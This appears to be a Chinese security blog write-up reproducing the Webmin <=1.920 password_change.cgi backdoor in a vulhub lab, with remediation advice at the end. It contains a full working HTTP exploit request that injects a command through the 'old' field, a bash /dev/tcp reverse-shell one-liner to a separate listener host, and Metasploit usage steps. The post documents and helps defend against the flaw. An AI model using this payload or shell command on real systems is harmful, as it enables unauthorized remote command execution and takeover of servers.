前言:
1.什么是webmin
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作
2.Webmin 是一个用 Perl 编写的基于浏览器的管理应用程序。
3.是一个基于Web的界面,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。
4.为什么用webmin
Linux系统因其高效稳定而受到广大用户的推崇与青睐,然后其管理有一定复杂性和学习周期。为了降低 Linux系统的管理难度,有时候会对公司内的Linux主机或VPS系统预装了网页管理工具webmin.

shodan看下:

中国境内到没看到多少。
漏洞概述:
根据网上公开的poc可知,漏洞利用url是修改密码功能password_change.cgi,且需要开启密码修改功能(1.890默认开启此功能),等会我用的环境是vulhub上的。已经开启密码修改功能。听说webmin的1.890到1.920有漏洞是因为有人在SourceForge上的webmin插入了perl qx语句。
这里也提到了1.890默认配置是有漏洞的,之后的版本需要开启密码修改功能。
影响版本:
webmin<=1.920
漏洞复现:
首先搭建环境:我用的是vulhub上的,版本1.910

docker-compose up -d


其实环境已经是好的,因为vulhub上搭建了开启密码修改功能。我们可以看下
这里修改了下密码:

利用修改的密码登录:,然后看看是否开启密码修改功能,没开启手动开启。这个是允许新密码重置旧密码。

然后再去查看webmin的配置文件
进入/etc/webmin/ cat miniserv.conf ,passwd_mode=2,可以利用,0就不能利用了。

前面说了,我们环境是开好了的,所以直接上。
poc:
POST /password_change.cgi HTTP/1.1
Host: 192.168.220.131:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://192.168.220.131:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2


上面poc需要注意:ip改成自己的ip,然后user参数不能是系统账户,谁便写一个不是的就行了。后面执行的命令。
getshell:
方法一:
bash -c "bash -i >& /dev/tcp/192.168.220.128/9999 0>&1"
对上面bash进行url编码:

发送:


方法二:
利用metasploit
首先search下看看利用模块:用下图这个模块。

设置RHOSTS、SSL、LHOST





没meterpreter,看着别扭了点。哈哈。
修复建议:
目前Webmin官方已发布最新版本Webmin 1.940 修复了该漏洞,请受影响的用户尽快升级至最新版本:
下载链接:http://webmin.com/download.html
临时解决方案:
1.900 到 1.920版本的用户,编辑Webmin配置文件:/etc/webmin/miniserv.conf,注释或删除“passwd_mode=”行,然后运行/etc/webmin/restart 重启服务命令。
注:修复漏洞前请将资料备份,并进行充分测试。
参考链接:
网友评论